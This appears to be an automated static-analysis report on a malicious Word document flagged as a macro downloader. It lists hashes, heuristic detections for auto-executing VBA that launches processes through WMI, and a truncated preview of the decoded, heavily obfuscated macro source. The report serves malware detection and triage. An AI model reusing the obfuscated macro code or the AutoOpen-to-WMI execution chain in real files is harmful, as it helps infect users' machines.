Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9deee84d38dd3e1…

MALICIOUS

Office (OLE)

303.6 KB Created: 2019-02-21 08:10:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: c10f702a8007ad67b3fe98de6b018b02 SHA-1: a478bff9c048d5547c5b6d06907cd7a20b842391 SHA-256: c9deee84d38dd3e151e2a5fbf26b52967dd9a2f9c87fca3bae20986fbd4ee044
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains critical heuristic firings indicating the presence of auto-executing VBA macros that utilize GetObject and CreateObject to launch the Win32_Process WMI class. This is a common technique for executing arbitrary code, likely to download and run a second-stage payload. ClamAV also identified the file as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6864225-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6864225-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 76711 bytes
SHA-256: 21a98f6ef8dafd37330de1992201cd0f5772905dc47198e6dc847ba2fa179c6a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "J0_06_63"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "l_7241_"
Function q_3_8_58()
   Select Case f4_006
         Case 712761218
            Y17__56 = Log(D2_91_9)
            q96_73 = CDate(698430473)
            U_43___1 = Fix(777651916 + 987510867 + t8238_ - Oct(206143642))
            w282_9 = Cos(214576515 - Sqr(611325033 - Atn(577907723)) - 323169838 + 205794746)
End Select
   Select Case b0__5_
         Case 966884705
            R1__68 = Log(U_835__7)
            f3707_0 = CDate(767043487)
            B_4290 = Fix(230597283 + 475935999 + r_8__6 - Oct(347236576))
            j_7_36 = Cos(485048007 - Sqr(658995275 - Atn(665270231)) - 580550350 + 37835214)
End Select
   Select Case V9976_71
         Case 41896530
            w__787_6 = Log(w79605_)
            c99____4 = CDate(547383261)
            w4__83 = Fix(853121146 + 508210222 + I46473_ - Oct(108022825))
            d65_652 = Cos(943834760 - Sqr(561810734 - Atn(599231044)) - 223621302 + 193276178)
End Select
   Select Case M__2__
         Case 588267221
            w62__4_ = Log(E285_860)
            Y011__9 = CDate(810690049)
            U7_54_77 = Fix(681884607 + 417222145 + N48____4 - Oct(657072533))
            M1__651 = Cos(295006039 - Sqr(467567734 - Atn(142026817)) - 581331861 + 378130135)
End Select
   Select Case h4__5_
         Case 865285867
            v929_126 = Log(K_1_49_)
            q393_73 = CDate(561472134)
            w9850446 = Fix(297411495 + 791499635 + F648398_ - Oct(278956018))
            X484723 = Cos(639560918 - Sqr(487514270 - Atn(871835077)) - 602914780 + 909898059)
End Select
   Select Case E___498
         Case 537347613
            u605_0 = Log(s025_056)
            X2_394_ = CDate(813347452)
            w098084 = Fix(146212305 + 391069290 + o9_405_2 - Oct(81077400))
            c22570_7 = Cos(588409965 - Sqr(14229303 - Atn(677391280)) - 609982738 + 712387239)
End Select
   Select Case J1923_
         Case 941497560
            U_2109_ = Log(b103_16_)
            U_84_40 = CDate(391406860)
            O3___44 = Fix(448332512 + 308608220 + N30537_ - Oct(171409452))
            N_600__4 = Cos(796097577 - Sqr(8794102 - Atn(238756429)) - 283791642 + 760169915)
End Select
   Select Case c98593_
         Case 268301702
            O9060_51 = Log(E87_9_5)
            E976__ = CDate(187812050)
            W82_2___ = Fix(365601975 + 112597693 + l6898_ - Oct(189410343))
            k_5_73_3 = Cos(822827293 - Sqr(456663186 - Atn(475415793)) - 696087392 + 407991237)
End Select
   Select Case G___1_8
         Case 121810598
            U_7_67 = Log(b_2580)
            D3123_ = CDate(619312270)
            o80_43 = Fix(572109751 + 812587587 + F_8218_ - Oct(347065253))
            p3500_6 = Cos(90278361 - Sqr(790577263 - Atn(900288337)) - 453733690 + 98977349)
End Select
End Function
Function w17_852(G9__0__4, v69__9)
On Error Resume Next
   Select Case X1_8_49_
         Case 778900249
            D37_90 = Log(Y13855)
            w__6___9 = CDate(780633262)
            I28575 = Fix(315348582 + 281487615 + j9_311 - Oct(988462727))
            j32892_ = Cos(617943007 - Sqr(135699901 - Atn(116234023)) - 322803964 + 897296034)
End Select
   Select Case r141717
         Case 42923128
            u_40271_ = Log(l___989)
            P__60_14 = CDate(117140509)
            t8__40 = Fix(741224163 + 631629370 + S85___ - Oct(228973599))
            w6323__ = Cos(409096317 - Sqr(581998014 - Atn(956095182)) - 42921974 + 210454714)
End Select
   Select Case A7_9499
         Case 537421328
            H31884 = Log(w_7724)
            i_3176_ = CDate(410630571)
            l843_0 = Fix(512086489 + 98394655 + D00____ - Oct(864685284))
            T7401_6 = Cos(930281496 - Sqr(675759241 - Atn(764070538)) - 289873938 + 624315067)
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.